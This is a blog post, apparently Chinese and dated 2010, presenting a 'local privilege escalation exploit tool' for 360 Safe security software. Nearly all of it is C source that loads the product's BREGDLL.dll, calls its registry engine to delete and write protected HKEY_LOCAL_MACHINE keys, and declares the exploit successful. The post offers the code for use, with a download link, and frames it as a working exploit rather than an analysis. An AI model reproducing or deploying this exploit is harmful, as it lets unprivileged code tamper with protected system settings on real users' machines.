存档

文章标签 ‘360漏洞工具’

360本地提权漏洞演示+利用工具 EXP

2010年2月3日 1 条评论

漏洞演示地址已失效

工具下载地址:

下载地址

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include
typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_Delete_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

BREG_Delete_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

#define AppPath                        "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

#define TestDeleteKey             HKEY_LOCAL_MACHINE
#define TestDeleteRegPath    "Software\\360Safe\\Update"

#define TestSetKey                   HKEY_LOCAL_MACHINE
#define TestSetPath                  "Software\\360Safe"

BOOL InitBRegDll()
{
LONG lResult;
HKEY hKey;

CHAR cPath[MAX_PATH + 32] = { 0 };
DWORD dwPathLen = MAX_PATH;

lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
if (FAILED(lResult))
return FALSE;

DWORD dwType = REG_SZ;
lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
RegCloseKey(hKey);
if (FAILED(lResult))
return FALSE;

strcat(cPath, "\\deepscan\\BREGDLL.dll");

HMODULE modBReg = LoadLibraryA(cPath);
if (!modBReg)
return FALSE;

INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
BRegDeleteKey = (BREG_Delete_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
FreeLibrary(modBReg);
return FALSE;
}

if (!InitRegEngine()) {
FreeLibrary(modBReg);
return FALSE;
}

return TRUE;
}

LONG TestSetRegKey()
{
HKEY hKey;
LONG lResult;

lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
if (FAILED(lResult))
return lResult;

DWORD dwType = REG_SZ;
static char szData[] = "TEST VALUE";
lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
BRegCloseKey(hKey);

return lResult;
}

int main(int argc, char *argv[])
{
if (!InitBRegDll()) {
MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
return 1;

}
if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
return 2;

}

if (FAILED(TestSetRegKey())) {
MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
return 3;
}

MessageBoxA(NULL, "突破系统安全检查,获得最高权限,漏洞利用成功!", "成功", MB_OK);
return 0;
}
标签:, , , , ,